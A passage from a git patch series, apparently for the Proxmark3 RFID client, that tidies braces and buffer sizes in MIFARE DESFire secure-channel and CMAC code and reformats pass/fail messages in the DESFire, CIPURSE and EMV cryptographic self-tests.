0) { memcpy(&mdata[7], data, datalen); + } + mdatalen = 1 + 2 + 4 + datalen; return aes_cmac8(NULL, ctx->sessionKeyMAC, mdata, mac, mdatalen); @@ -717,14 +736,18 @@ void DesfireDecodePrevReaderID(DesfireContext_t *ctx, uint8_t *key, uint32_t trC } int DesfireLRPCalcCMAC(DesfireContext_t *ctx, uint8_t cmd, uint8_t *data, size_t datalen, uint8_t *mac) { - uint8_t mdata[1050] = {0}; + uint8_t mdata[DESFIRE_BUFFER_SIZE] = {0}; size_t mdatalen = 0; mdata[0] = cmd; Uint2byteToMemLe(&mdata[1], ctx->cmdCntr); + memcpy(&mdata[3], ctx->TI, 4); - if (data != NULL && datalen > 0) + + if (data != NULL && datalen > 0) { memcpy(&mdata[7], data, datalen); + } + mdatalen = 1 + 2 + 4 + datalen; LRPContext_t lctx = {0}; diff --git a/client/src/mifare/desfiresecurechan.c b/client/src/mifare/desfiresecurechan.c index 39787242f..9b8e3fecf 100644 --- a/client/src/mifare/desfiresecurechan.c +++ b/client/src/mifare/desfiresecurechan.c @@ -49,9 +49,11 @@ static const uint8_t CommandsCanUseAnyChannel[] = { }; static bool CommandCanUseAnyChannel(uint8_t cmd) { - for (int i = 0; i < ARRAYLEN(CommandsCanUseAnyChannel); i++) - if (CommandsCanUseAnyChannel[i] == cmd) + for (int i = 0; i < ARRAYLEN(CommandsCanUseAnyChannel); i++) { + if (CommandsCanUseAnyChannel[i] == cmd) { return true; + } + } return false; } @@ -207,10 +209,11 @@ static const CmdHeaderLengths_t CmdHeaderLengths[] = { }; static uint8_t DesfireGetCmdHeaderLen(uint8_t cmd) { - for (int i = 0; i < ARRAYLEN(CmdHeaderLengths); i++) - if (CmdHeaderLengths[i].cmd == cmd) + for (int i = 0; i < ARRAYLEN(CmdHeaderLengths); i++) { + if (CmdHeaderLengths[i].cmd == cmd) { return CmdHeaderLengths[i].len; - + } + } return 0; } @@ -228,12 +231,15 @@ static const uint8_t EV1D40TransmitMAC[] = { }; static bool DesfireEV1D40TransmitMAC(DesfireContext_t *ctx, uint8_t cmd) { - if (ctx->secureChannel != DACd40 && ctx->secureChannel != DACEV1) + if (ctx->secureChannel != DACd40 && ctx->secureChannel != DACEV1) { return true; + } - for (int i = 0; i < ARRAYLEN(EV1D40TransmitMAC); i++) - if (EV1D40TransmitMAC[i] == cmd) + for (int i = 0; i < ARRAYLEN(EV1D40TransmitMAC); i++) { + if (EV1D40TransmitMAC[i] == cmd) { return true; + } + } return false; } @@ -247,12 +253,15 @@ static const uint8_t D40ReceiveMAC[] = { }; static bool DesfireEV1D40ReceiveMAC(DesfireContext_t *ctx, uint8_t cmd) { - if (ctx->secureChannel != DACd40) + if (ctx->secureChannel != DACd40) { return true; + } - for (int i = 0; i < ARRAYLEN(D40ReceiveMAC); i++) - if (D40ReceiveMAC[i] == cmd) + for (int i = 0; i < ARRAYLEN(D40ReceiveMAC); i++) { + if (D40ReceiveMAC[i] == cmd) { return true; + } + } return false; } @@ -269,10 +278,11 @@ static const uint8_t ISOChannelValidCmd[] = { }; static bool DesfireISOChannelValidCmd(uint8_t cmd) { - for (int i = 0; i < ARRAYLEN(ISOChannelValidCmd); i++) - if (ISOChannelValidCmd[i] == cmd) + for (int i = 0; i < ARRAYLEN(ISOChannelValidCmd); i++) { + if (ISOChannelValidCmd[i] == cmd) { return true; - + } + } return false; } @@ -349,15 +359,17 @@ static void DesfireSecureChannelEncodeD40(DesfireContext_t *ctx, uint8_t cmd, ui static void DesfireSecureChannelEncodeEV1(DesfireContext_t *ctx, uint8_t cmd, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); - if (data == NULL) + if (data == NULL) { return; + } memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; uint8_t hdrlen = DesfireGetCmdHeaderLen(cmd); - if (srcdatalen < hdrlen) + if (srcdatalen < hdrlen) { hdrlen = srcdatalen; + } size_t rlen; @@ -582,12 +594,14 @@ static void DesfireSecureChannelDecodeD40(DesfireContext_t *ctx, uint8_t *srcdat static void DesfireSecureChannelDecodeEV1(DesfireContext_t *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t respcode, uint8_t *dstdata, size_t *dstdatalen) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); - if (data == NULL) + if (data == NULL) { return; + } // if comm mode = plain --> response with MAC // if request is not zero length --> response MAC if (ctx->commMode == DCMPlain || ctx->commMode == DCMMACed || (ctx->commMode == DCMEncrypted && !ctx->lastRequestZeroLen)) { + if (srcdatalen < DesfireGetMACLength(ctx)) { memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; @@ -596,6 +610,7 @@ static void DesfireSecureChannelDecodeEV1(DesfireContext_t *ctx, uint8_t *srcdat } memcpy(dstdata, srcdata, srcdatalen - DesfireGetMACLength(ctx)); + *dstdatalen = srcdatalen - DesfireGetMACLength(ctx); memcpy(data, srcdata, *dstdatalen); @@ -603,15 +618,22 @@ static void DesfireSecureChannelDecodeEV1(DesfireContext_t *ctx, uint8_t *srcdat uint8_t cmac[DESFIRE_MAX_CRYPTO_BLOCK_SIZE] = {0}; DesfireCryptoCMAC(ctx, data, *dstdatalen + 1, cmac); + if (memcmp(&srcdata[*dstdatalen], cmac, DesfireGetMACLength(ctx)) != 0) { + PrintAndLogEx(WARNING, "Received MAC is not match with calculated"); PrintAndLogEx(INFO, " received MAC: %s", sprint_hex(&srcdata[*dstdatalen], DesfireGetMACLength(ctx))); PrintAndLogEx(INFO, " calculated MAC: %s", sprint_hex(cmac, DesfireGetMACLength(ctx))); + } else { - if (GetAPDULogging()) + + if (GetAPDULogging()) { PrintAndLogEx(INFO, "Received MAC OK"); + } } - } else if (ctx->commMode == DCMEncrypted || ctx->commMode == DCMEncryptedWithPadding) { + + } else if (ctx->commMode == DCMEncrypted || ctx->commMode == DCMEncryptedWithPadding) { + if (srcdatalen < desfire_get_key_block_length(ctx->keyType)) { memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; @@ -620,7 +642,7 @@ static void DesfireSecureChannelDecodeEV1(DesfireContext_t *ctx, uint8_t *srcdat } DesfireCryptoEncDec(ctx, DCOSessionKeyEnc, srcdata, srcdatalen, dstdata, false); - //PrintAndLogEx(INFO, "decoded[%d]: %s", srcdatalen, sprint_hex(dstdata, srcdatalen)); + // PrintAndLogEx(INFO, "decoded[%d]: %s", srcdatalen, sprint_hex(dstdata, srcdatalen)); size_t puredatalen = DesfireSearchCRCPos(dstdata, srcdatalen, respcode, 4); if (puredatalen != 0) { diff --git a/client/src/mifare/desfiretest.c b/client/src/mifare/desfiretest.c index 75a9ef781..95b054e7f 100644 --- a/client/src/mifare/desfiretest.c +++ b/client/src/mifare/desfiretest.c @@ -53,11 +53,7 @@ static bool TestCRC16(void) { len = DesfireSearchCRCPos(data, 1, 0x00, 2); res = res && (len == 0); - if (res) - PrintAndLogEx(INFO, "CRC16............. " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "CRC16............. " _RED_("fail")); - + PrintAndLogEx(INFO, "CRC16............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -80,11 +76,7 @@ static bool TestCRC32(void) { len = DesfireSearchCRCPos(data, 2, 0x00, 4); res = res && (len == 0); - if (res) - PrintAndLogEx(INFO, "CRC32............. " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "CRC32............. " _RED_("fail")); - + PrintAndLogEx(INFO, "CRC32............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -131,11 +123,7 @@ static bool TestCMACSubkeys(void) { res = res && (memcmp(sk1, sk1_3tdea, sizeof(sk1_3tdea)) == 0); res = res && (memcmp(sk2, sk2_3tdea, sizeof(sk2_3tdea)) == 0); - if (res) - PrintAndLogEx(INFO, "CMAC subkeys...... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "CMAC subkeys...... " _RED_("fail")); - + PrintAndLogEx(INFO, "CMAC subkeys...... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -155,11 +143,7 @@ static bool TestAn10922KDFAES(void) { uint8_t dkey[] = {0xA8, 0xDD, 0x63, 0xA3, 0xB8, 0x9D, 0x54, 0xB3, 0x7C, 0xA8, 0x02, 0x47, 0x3F, 0xDA, 0x91, 0x75}; res = res && (memcmp(dctx.key, dkey, sizeof(dkey)) == 0); - if (res) - PrintAndLogEx(INFO, "An10922 AES....... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "An10922 AES....... " _RED_("fail")); - + PrintAndLogEx(INFO, "An10922 AES....... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -177,11 +161,7 @@ static bool TestAn10922KDF2TDEA(void) { uint8_t dkey[] = {0x16, 0xF8, 0x59, 0x7C, 0x9E, 0x89, 0x10, 0xC8, 0x6B, 0x96, 0x48, 0xD0, 0x06, 0x10, 0x7D, 0xD7}; res = res && (memcmp(dctx.key, dkey, sizeof(dkey)) == 0); - if (res) - PrintAndLogEx(INFO, "An10922 2TDEA..... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "An10922 2TDEA..... " _RED_("fail")); - + PrintAndLogEx(INFO, "An10922 2TDEA..... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -201,11 +181,7 @@ static bool TestAn10922KDF3TDEA(void) { }; res = res && (memcmp(dctx.key, dkey, sizeof(dkey)) == 0); - if (res) - PrintAndLogEx(INFO, "An10922 3TDEA..... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "An10922 3TDEA..... " _RED_("fail")); - + PrintAndLogEx(INFO, "An10922 3TDEA..... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -245,11 +221,7 @@ static bool TestCMAC3TDEA(void) { DesfireCryptoCMAC(&dctx, CMACData, 32, cmac); res = res && (memcmp(cmac, cmac4, sizeof(cmac1)) == 0); - if (res) - PrintAndLogEx(INFO, "CMAC 3TDEA........ " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "CMAC 3TDEA........ " _RED_("fail")); - + PrintAndLogEx(INFO, "CMAC 3TDEA........ ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -289,11 +261,7 @@ static bool TestCMAC2TDEA(void) { DesfireCryptoCMAC(&dctx, CMACData, 32, cmac); res = res && (memcmp(cmac, cmac4, sizeof(cmac1)) == 0); - if (res) - PrintAndLogEx(INFO, "CMAC 2TDEA........ " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "CMAC 2TDEA........ " _RED_("fail")); - + PrintAndLogEx(INFO, "CMAC 2TDEA........ ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -329,11 +297,7 @@ static bool TestCMACDES(void) { DesfireCryptoCMAC(&dctx, CMACData, 32, cmac); res = res && (memcmp(cmac, cmac4, sizeof(cmac1)) == 0); - if (res) - PrintAndLogEx(INFO, "CMAC DES.......... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "CMAC DES.......... " _RED_("fail")); - + PrintAndLogEx(INFO, "CMAC DES.......... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -356,11 +320,7 @@ static bool TestEV2SessionKeys(void) { DesfireGenSessionKeyEV2(key, rnda, rndb, false, sessionkey); res = res && (memcmp(sessionkey, sessionkeymac, sizeof(sessionkeymac)) == 0); - if (res) - PrintAndLogEx(INFO, "EV2 session keys.. " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "EV2 session keys.. " _RED_("fail")); - + PrintAndLogEx(INFO, "EV2 session keys.. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -392,11 +352,7 @@ static bool TestEV2IVEncode(void) { DesfireEV2FillIV(&ctx, true, iv); res = res && (memcmp(iv, ivres2, sizeof(ivres2)) == 0); - if (res) - PrintAndLogEx(INFO, "EV2 IV calc....... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "EV2 IV calc....... " _RED_("fail")); - + PrintAndLogEx(INFO, "EV2 IV calc....... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -452,17 +408,12 @@ static bool TestEV2MAC(void) { DesfireEV2CalcCMAC(&ctx, rc, cmddata4, sizeof(cmddata4), mac); res = res && (memcmp(mac, macres4, sizeof(macres4)) == 0); - if (res) - PrintAndLogEx(INFO, "EV2 MAC calc...... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "EV2 MAC calc...... " _RED_("fail")); - + PrintAndLogEx(INFO, "EV2 MAC calc...... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } static bool TestTransSessionKeys(void) { bool res = true; - uint8_t key[] = {0x66, 0xA8, 0xCB, 0x93, 0x26, 0x9D, 0xC9, 0xBC, 0x28, 0x85, 0xB7, 0xA9, 0x1B, 0x9C, 0x69, 0x7B}; uint8_t uid[] = {0x04, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06}; uint32_t trCntr = 8; @@ -476,11 +427,7 @@ static bool TestTransSessionKeys(void) { uint8_t keyenc[] = {0x11, 0x9B, 0x90, 0x2A, 0x07, 0xB1, 0x8A, 0x86, 0x5B, 0x8E, 0x1B, 0x00, 0x60, 0x59, 0x47, 0x84}; res = res && (memcmp(sessionkey, keyenc, sizeof(keyenc)) == 0); - if (res) - PrintAndLogEx(INFO, "Trans session key. " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "Trans session key. " _RED_("fail")); - + PrintAndLogEx(INFO, "Trans session key. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -505,11 +452,7 @@ static bool TestLRPPlaintexts(void) { uint8_t pt15[] = {0x71, 0xB4, 0x44, 0xAF, 0x25, 0x7A, 0x93, 0x21, 0x53, 0x11, 0xD7, 0x58, 0xDD, 0x33, 0x32, 0x47}; res = res && (memcmp(ctx.plaintexts[15], pt15, sizeof(pt15)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP plaintexts.... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP plaintexts.... " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP plaintexts.... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -531,11 +474,7 @@ static bool TestLRPUpdatedKeys(void) { uint8_t key2[] = {0xFE, 0x30, 0xAB, 0x50, 0x46, 0x7E, 0x61, 0x78, 0x3B, 0xFE, 0x6B, 0x5E, 0x05, 0x60, 0x16, 0x0E}; res = res && (memcmp(ctx.updatedKeys[2], key2, sizeof(key2)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP updated keys.. " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP updated keys.. " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP updated keys.. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -587,11 +526,7 @@ static bool TestLRPEval(void) { uint8_t y5[] = {0xCF, 0x99, 0x13, 0x92, 0xF0, 0x36, 0x93, 0x50, 0xA7, 0xE2, 0x1B, 0xE5, 0x2F, 0x74, 0x88, 0x21}; res = res && (memcmp(y, y5, sizeof(y5)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP eval.......... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP eval.......... " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP eval.......... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -618,11 +553,7 @@ static bool TestLRPIncCounter(void) { uint8_t ctrr4[] = {0x00}; res = res && (memcmp(ctr4, ctrr4, sizeof(ctrr4)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP inc counter... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP inc counter... " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP inc counter... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -686,11 +617,7 @@ static bool TestLRPEncode(void) { res = res && (resplen == sizeof(res5)); res = res && (memcmp(resp, res5, sizeof(res5)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP encode........ " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP encode........ " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP encode........ ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -753,11 +680,7 @@ static bool TestLRPDecode(void) { res = res && (resplen == sizeof(res5)); res = res && (memcmp(resp, res5, sizeof(res5)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP decode........ " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP decode........ " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP decode........ ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -793,11 +716,7 @@ static bool TestLRPSubkeys(void) { res = res && (memcmp(sk1, sk1r3, sizeof(sk1r3)) == 0); res = res && (memcmp(sk2, sk2r3, sizeof(sk2r3)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP subkeys....... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP subkeys....... " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP subkeys....... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -855,11 +774,7 @@ static bool TestLRPCMAC(void) { uint8_t cmacres6[] = {0x05, 0xF1, 0xCE, 0x30, 0x45, 0x1A, 0x03, 0xA6, 0xE4, 0x68, 0xB3, 0xA5, 0x90, 0x33, 0xA5, 0x54}; res = res && (memcmp(cmac, cmacres6, sizeof(cmacres6)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP CMAC.......... " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP CMAC.......... " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP CMAC.......... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -877,11 +792,7 @@ static bool TestLRPSessionKeys(void) { DesfireGenSessionKeyLRP(key, rnda, rndb, true, sessionkey); res = res && (memcmp(sessionkey, sessionkeyres, sizeof(sessionkeyres)) == 0); - if (res) - PrintAndLogEx(INFO, "LRP session keys.. " _GREEN_("ok")); - else - PrintAndLogEx(ERR, "LRP session keys.. " _RED_("fail")); - + PrintAndLogEx(INFO, "LRP session keys.. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -914,11 +825,7 @@ bool DesfireTest(bool verbose) { res = res && TestLRPSessionKeys(); PrintAndLogEx(INFO, "---------------------------"); - if (res) - PrintAndLogEx(SUCCESS, " Tests [ %s ]", _GREEN_("ok")); - else - PrintAndLogEx(FAILED, " Tests [ %s ]", _RED_("fail")); - + PrintAndLogEx(SUCCESS, "Tests ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); PrintAndLogEx(NORMAL, ""); return res; } From 67c14c53142405a8422d0bb05001039680b31e3c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:21:55 +0200 Subject: [PATCH 04/16] adapt regression tests --- client/src/cipurse/cipursetest.c | 55 +++++-------------------------- client/src/emv/emv_roca.c | 8 ++--- client/src/emv/test/cda_test.c | 8 ++--- client/src/emv/test/crypto_test.c | 8 ++--- client/src/emv/test/cryptotest.c | 4 +-- client/src/emv/test/dda_test.c | 8 ++--- client/src/emv/test/sda_test.c | 8 ++--- common/mbedtls/x509.c | 31 +++++++++-------- tools/pm3_tests.sh | 8 ++--- 9 files changed, 53 insertions(+), 85 deletions(-) diff --git a/client/src/cipurse/cipursetest.c b/client/src/cipurse/cipursetest.c index 5632145f7..0580b8812 100644 --- a/client/src/cipurse/cipursetest.c +++ b/client/src/cipurse/cipursetest.c @@ -40,11 +40,7 @@ static bool TestKVV(void) { bool res = memcmp(KeyKvv, kvv, CIPURSE_KVV_LENGTH) == 0; - if (res) - PrintAndLogEx(INFO, "kvv.............. " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "kvv.............. " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "kvv.............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -58,11 +54,7 @@ static bool TestISO9797M2(void) { res = res && (FindISO9797M2PaddingDataLen(data, ddatalen) == 4); - if (res) - PrintAndLogEx(INFO, "ISO9797M2........ " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "ISO9797M2........ " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "ISO9797M2........ ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -92,11 +84,7 @@ static bool TestSMI(void) { res = res && (CipurseCGetSMI(&ctx, false) == 0x88); res = res && (CipurseCGetSMI(&ctx, true) == 0x89); - if (res) - PrintAndLogEx(INFO, "SMI.............. " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "SMI.............. " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "SMI.............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -115,15 +103,10 @@ static bool TestMIC(void) { res = res && (CipurseCCheckMIC(TestData, 6, mic)); - if (res) - PrintAndLogEx(INFO, "MIC.............. " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "MIC.............. " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "MIC.............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } - static bool TestAuth(void) { CipurseContext_t ctx = {0}; CipurseCClearContext(&ctx); @@ -159,11 +142,7 @@ static bool TestAuth(void) { uint8_t framekey[] = {0xCF, 0x6F, 0x3A, 0x47, 0xFC, 0xAC, 0x8D, 0x38, 0x25, 0x75, 0x8B, 0xFC, 0x8B, 0x61, 0x68, 0xF3}; res = res && (memcmp(ctx.frameKey, framekey, sizeof(framekey)) == 0); - if (res) - PrintAndLogEx(INFO, "Auth............. " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "Auth............. " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "Auth............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -211,11 +190,7 @@ static bool TestMAC(void) { uint8_t framekey4[] = {0xA0, 0x65, 0x1A, 0x62, 0x56, 0x5D, 0xD7, 0xC9, 0x32, 0xAE, 0x1D, 0xE0, 0xCF, 0x8D, 0xC1, 0xB9}; res = res && (memcmp(ctx.frameKey, framekey4, sizeof(framekey4)) == 0); - if (res) - PrintAndLogEx(INFO, "channel MAC...... " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "channel MAC...... " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "channel MAC...... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -259,11 +234,7 @@ static bool TestEncDec(void) { res = res && (dstdatalen == 16); res = res && (memcmp(dstdata, TestData, 16) == 0); - if (res) - PrintAndLogEx(INFO, "channel EncDec... " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "channel EncDec... " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "channel EncDec... ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -351,11 +322,7 @@ static bool TestAPDU(void) { res = res && (memcmp(test6, dstdata, dstdatalen) == 0); res = res && (sw == 0xccdd); - if (res) - PrintAndLogEx(INFO, "apdu............. " _GREEN_("passed")); - else - PrintAndLogEx(ERR, "apdu............. " _RED_("fail")); - + PrintAndLogEx(SUCCESS, "apdu............. ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); return res; } @@ -374,11 +341,7 @@ bool CIPURSETest(bool verbose) { res = res && TestAPDU(); PrintAndLogEx(INFO, "---------------------------"); - if (res) - PrintAndLogEx(SUCCESS, " Tests [ %s ]", _GREEN_("ok")); - else - PrintAndLogEx(FAILED, " Tests [ %s ]", _RED_("fail")); - + PrintAndLogEx(SUCCESS, "Tests ( %s )", (res) ? _GREEN_("ok") : _RED_("fail")); PrintAndLogEx(NORMAL, ""); return res; } diff --git a/client/src/emv/emv_roca.c b/client/src/emv/emv_roca.c index 496220d7b..23300b410 100644 --- a/client/src/emv/emv_roca.c +++ b/client/src/emv/emv_roca.c @@ -153,10 +153,10 @@ int roca_self_test(void) { int ret = 0; if (emv_rocacheck(keyp, 64, false)) { - PrintAndLogEx(SUCCESS, "Weak modulus [ %s ]", _GREEN_("PASS")); + PrintAndLogEx(SUCCESS, "Weak modulus ( %s )", _GREEN_("ok")); } else { ret++; - PrintAndLogEx(FAILED, "Weak modulus [ %s ]", _RED_("Fail")); + PrintAndLogEx(FAILED, "Weak modulus ( %s )", _RED_("fail")); } // negative @@ -167,9 +167,9 @@ int roca_self_test(void) { if (emv_rocacheck(keyn, 64, false)) { ret++; - PrintAndLogEx(FAILED, "Strong modulus [ %s ]", _RED_("Fail")); + PrintAndLogEx(FAILED, "Strong modulus ( %s )", _RED_("fail")); } else { - PrintAndLogEx(SUCCESS, "Strong modulus [ %s ]", _GREEN_("PASS")); + PrintAndLogEx(SUCCESS, "Strong modulus ( %s )", _GREEN_("ok")); } return ret; } diff --git a/client/src/emv/test/cda_test.c b/client/src/emv/test/cda_test.c index 0ab49f3ca..eb4a031f4 100644 --- a/client/src/emv/test/cda_test.c +++ b/client/src/emv/test/cda_test.c @@ -427,16 +427,16 @@ static int cda_test_pk(bool verbose) { int exec_cda_test(bool verbose) { int ret = cda_test_raw(verbose); if (ret) { - PrintAndLogEx(WARNING, "CDA raw test: (%s)", _RED_("failed")); + PrintAndLogEx(WARNING, "CDA raw test ( %s )", _RED_("fail")); return ret; } - PrintAndLogEx(INFO, "CDA raw test: (%s)", _GREEN_("passed")); + PrintAndLogEx(INFO, "CDA raw test ( %s )", _GREEN_("ok")); ret = cda_test_pk(verbose); if (ret) { - PrintAndLogEx(WARNING, "CDA test pk: (%s)", _RED_("failed")); + PrintAndLogEx(WARNING, "CDA test pk ( %s )", _RED_("fail")); return ret; } - PrintAndLogEx(INFO, "CDA test pk: (%s)", _GREEN_("passed")); + PrintAndLogEx(INFO, "CDA test pk ( %s )", _GREEN_("ok")); return 0; } diff --git a/client/src/emv/test/crypto_test.c b/client/src/emv/test/crypto_test.c index ab67a2081..387ed28a9 100644 --- a/client/src/emv/test/crypto_test.c +++ b/client/src/emv/test/crypto_test.c @@ -310,16 +310,16 @@ int exec_crypto_test(bool verbose, bool include_slow_tests) { unsigned int extra_keylengths[] = {1152, 1408, 1984, 3072, 4096}; int ret = test_pk(verbose); if (ret) { - PrintAndLogEx(WARNING, "Crypto raw test: (%s)", _RED_("failed")); + PrintAndLogEx(WARNING, "Crypto raw test ( %s )", _RED_("fail")); return ret; } - PrintAndLogEx(SUCCESS, "Crypto raw test (%s)", _GREEN_("passed")); + PrintAndLogEx(SUCCESS, "Crypto raw test ( %s )", _GREEN_("ok")); for (int i = 0; i < ARRAYLEN(keylengths); i++) { unsigned int kl = keylengths[i]; ret = test_genkey(kl, message, kl / 8, verbose); if (ret) { - PrintAndLogEx(WARNING, "Crypto generate key[%u] test: (%s)", kl, _RED_("failed")); + PrintAndLogEx(WARNING, "Crypto generate key[ %u ] test ( %s )", kl, _RED_("fail")); return ret; } } @@ -328,7 +328,7 @@ int exec_crypto_test(bool verbose, bool include_slow_tests) { unsigned int kl = extra_keylengths[i]; ret = test_genkey(kl, message, kl / 8, verbose); if (ret) { - PrintAndLogEx(WARNING, "Crypto generate key[%u] test: (%s)", kl, _RED_("failed")); + PrintAndLogEx(WARNING, "Crypto generate key[ %u ] test ( %s )", kl, _RED_("fail")); return ret; } } diff --git a/client/src/emv/test/cryptotest.c b/client/src/emv/test/cryptotest.c index bf4ad900f..ff8743563 100644 --- a/client/src/emv/test/cryptotest.c +++ b/client/src/emv/test/cryptotest.c @@ -111,9 +111,9 @@ int ExecuteCryptoTests(bool verbose, bool ignore_time, bool include_slow_tests) PrintAndLogEx(INFO, "--------------------------"); if (TestFail) - PrintAndLogEx(FAILED, "\tTest(s) [ %s ]", _RED_("fail")); + PrintAndLogEx(FAILED, "Tests ( %s )", _RED_("fail")); else - PrintAndLogEx(SUCCESS, "\tTest(s) [ %s ]", _GREEN_("ok")); + PrintAndLogEx(SUCCESS, "Tests ( %s )", _GREEN_("ok")); return TestFail; } diff --git a/client/src/emv/test/dda_test.c b/client/src/emv/test/dda_test.c index 9b56a4096..fe7991849 100644 --- a/client/src/emv/test/dda_test.c +++ b/client/src/emv/test/dda_test.c @@ -373,16 +373,16 @@ static int dda_test_pk(bool verbose) { int exec_dda_test(bool verbose) { int ret = dda_test_raw(verbose); if (ret) { - PrintAndLogEx(WARNING, "DDA raw test: %s", _RED_("failed")); + PrintAndLogEx(WARNING, "DDA raw test ( %s )", _RED_("fail")); return ret; } - PrintAndLogEx(SUCCESS, "DDA raw test: %s", _GREEN_("passed")); + PrintAndLogEx(SUCCESS, "DDA raw test ( %s )", _GREEN_("ok")); ret = dda_test_pk(verbose); if (ret) { - PrintAndLogEx(WARNING, "DDA test pk: %s", _RED_("failed")); + PrintAndLogEx(WARNING, "DDA test pk ( %s )", _RED_("fail")); return ret; } - PrintAndLogEx(SUCCESS, "DDA test pk: %s", _GREEN_("passed")); + PrintAndLogEx(SUCCESS, "DDA test pk ( %s )", _GREEN_("ok")); return 0; } diff --git a/client/src/emv/test/sda_test.c b/client/src/emv/test/sda_test.c index ebf5f1015..f8abad8da 100644 --- a/client/src/emv/test/sda_test.c +++ b/client/src/emv/test/sda_test.c @@ -262,16 +262,16 @@ static int sda_test_pk(bool verbose) { int exec_sda_test(bool verbose) { int ret = sda_test_raw(verbose); if (ret) { - PrintAndLogEx(WARNING, "SDA raw test: %s", _RED_("failed")); + PrintAndLogEx(WARNING, "SDA raw test ( %s )", _RED_("fa1l")); return ret; } - PrintAndLogEx(SUCCESS, "SDA raw test: %s", 